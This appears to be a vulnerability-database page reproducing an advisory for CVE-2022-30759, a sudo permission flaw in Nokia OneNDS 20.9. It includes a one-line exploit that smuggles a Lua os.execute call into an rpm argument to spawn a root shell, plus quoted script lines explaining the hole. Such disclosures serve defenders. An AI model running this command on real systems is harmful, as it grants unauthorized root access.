Lucene search
+L

Nokia OneNDS 20.9 Insecure Permissions / Privilege Escalation Vulnerability

šŸ—“ļøĀ 24 Apr 2023Ā 00:00:00Reported byĀ Giacomo SighinolfiTypeĀ 
zdt
Ā zdt
šŸ”—Ā 0day.todayšŸ‘Ā 291Ā Views

Nokia OneNDS 20.9 insecure permissions / privilege escalation vulnerability, allows system users to run arbitrary command

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2022-30759
3 May 202300:30
–circl
CNNVD
Nokia OneNDS ęƒé™č®øåÆå’Œč®æé—®ęŽ§åˆ¶é—®é¢˜ę¼ę“ž
21 Apr 202300:00
–cnnvd
CVE
CVE-2022-30759
2 May 202300:00
–cve
Cvelist
CVE-2022-30759
2 May 202300:00
–cvelist
EUVD
EUVD-2022-52588
3 Oct 202520:07
–euvd
NVD
CVE-2022-30759
2 May 202321:15
–nvd
OSV
CVE-2022-30759
2 May 202321:15
–osv
Packet Storm
Nokia OneNDS 20.9 Insecure Permissions / Privilege Escalation
21 Apr 202300:00
–packetstorm
Prion
Command injection
2 May 202321:15
–prion
Positive Technologies
PT-2023-13019 Ā· Nokia Ā· Nokia Onends
2 May 202300:00
–ptsecurity
Rows per page
===============================================================================
             title: Incorrect Permission Assignment
           product: Nokia OneNDS 20.9
vulnerability type: Security Misconfiguration
          severity: High
        CVSS Score: 7.8
       CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
          found on: 04/05/2022
                by: Giacomo Sighinolfi <[emailĀ protected]>
               cve: CVE-2022-30759
===============================================================================

Some sudo permissions can be exploited by some users to escalate to root 
privileges and execute arbitrary commands on the system.

The affected users are:
  Provgw, notifs, dbmrun,   (system users)
They can run as root the following script:
  /opt/cntdb/bin/noscripts_rpm.sh
It can be exploited with:
  sudo  /opt/cntdb/bin/noscripts_rpm.sh force-erase 
    "--eval '%{lua:os.execute(\"/bin/sh\")}'"


===============================================================================  

Detailed analysis:

The script accept as first argument one of the these options: 
  install|update|fallback|erase|test-install|test-update|test-erase|
  force-install|force-update|force-erase 
and as a second argument an arbitrary rpm package name.

If we analyze the switch case code block (row 175) we can see how the first 
argument influence the execution of the script.
175. case "$1" in
…
224.   test-erase)
225.         TEST_OPTION="--test"
226.         OPTION="-e"
227.      ;;
…
238.   force-erase)
239.         TEST_OPTION="--nodeps"
240.         OPTION="-e"
241.      ;;
…
Using ā€œforce-eraseā€ or ā€œtest-eraseā€ as the first argument, it creates ā€œOPTIONā€ 
variable with ā€œ-eā€ as its value. That value allow us to trigger a privilege 
escalation exploiting the rpm command (row 254) with a particular rpm package 
name as second parameter passed to the script.
…
252. if [ $OPTION == "-e" ]
253. then
254.   rpm $OPTION --noscripts $TEST_OPTION $2
…

===============================================================================

Data

Build on a solid foundation withĀ Vulners data

WeĀ provide theĀ essential building blocks forĀ cybersecurity solutions withĀ comprehensive, structured, andĀ constantly updated vulnerability andĀ exploits data

Api

Power your application withĀ Vulners API

The Vulners REST API offers reliable, high-performance access toĀ vulnerabilityĀ intelligence, withĀ 99.9%Ā SLAĀ uptime andĀ CDN-backed data delivery forĀ seamlessĀ global access

App

Assess and manage vulnerabilities withĀ VulnersĀ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Apr 2023 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 3.18.8
EPSS0.01137
SSVC
291